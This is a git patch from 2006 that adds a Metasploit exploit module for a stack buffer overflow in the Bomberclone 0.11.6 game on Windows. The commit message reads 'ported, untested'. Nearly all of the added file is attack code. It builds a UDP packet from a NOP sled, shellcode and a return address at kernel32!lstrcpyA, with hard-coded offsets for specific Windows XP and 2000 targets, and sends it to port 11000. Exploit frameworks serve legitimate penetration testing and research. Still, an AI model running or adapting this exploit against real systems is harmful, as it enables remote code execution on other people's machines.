From 0a52601435a12075c4d9022dc54554d5c8d64a3d Mon Sep 17 00:00:00 2001
From: Matt Miller <mmiller@hick.org>
Date: Thu, 28 Dec 2006 06:17:56 +0000
Subject: [PATCH] ported, untested

git-svn-id: file:///home/svn/framework3/trunk@4233 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../windows/misc/bomberclone_overflow.rb      | 71 +++++++++++++++++++
 1 file changed, 71 insertions(+)
 create mode 100644 modules/exploits/windows/misc/bomberclone_overflow.rb

diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb
new file mode 100644
index 0000000000..10e84fbca5
--- /dev/null
+++ b/modules/exploits/windows/misc/bomberclone_overflow.rb
@@ -0,0 +1,71 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Misc::BomberCloneOverflow < Msf::Exploit::Remote
+
+	include Exploit::Remote::Udp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Bomberclone 0.11.6 Buffer Overflow',
+			'Description'    => %q{
+		This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
+		The return address is overwritten with lstrcpyA memory address,
+		the second and third value are the destination buffer,
+		the fourth value is the source address of our buffer in the stack.
+		This exploit is like a return in libc.
+		
+						ATTENTION
+	The shellcode is exec ONLY when someone try to close bomberclone. 
+			},
+			'Authors'        => 'Jacopo Cervini <acaro[at]jervus.it>',
+			'Version'        => '$Revision: 1.0 $',
+			'References'     => 
+				[
+					['OSVDB', '23263'],
+					['BID', '16697'],
+					['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ],
+				],
+			'Payload'        =>
+				{
+					'Space'    => 344,
+					'BadChars' => "\x00"
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					['Windows XP SP2 Italian',   { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA
+					['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA
+					['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA
+				],
+
+			'Privileged'     => false,
+			'DisclosureDate' => 'Feb 16 2006'
+			))
+
+			register_options([ Opt::RPORT(11000) ], self.class)
+	end
+
+	def exploit
+		connect_udp
+
+		pattern  = make_nops(421)
+		pattern << payload.encoded
+		pattern << [ target.ret ].pack('V')
+		pattern << "\x04\xec\xfd\x7f" * 2
+		pattern << "\xa4\xfa\x22\x00"
+
+		request  = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"
+
+		print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")
+
+		udp_sock.put(request)
+		udp_sock.get
+
+		handler(udp_sock)
+		disconnect_udp
+	end
+
+end
+end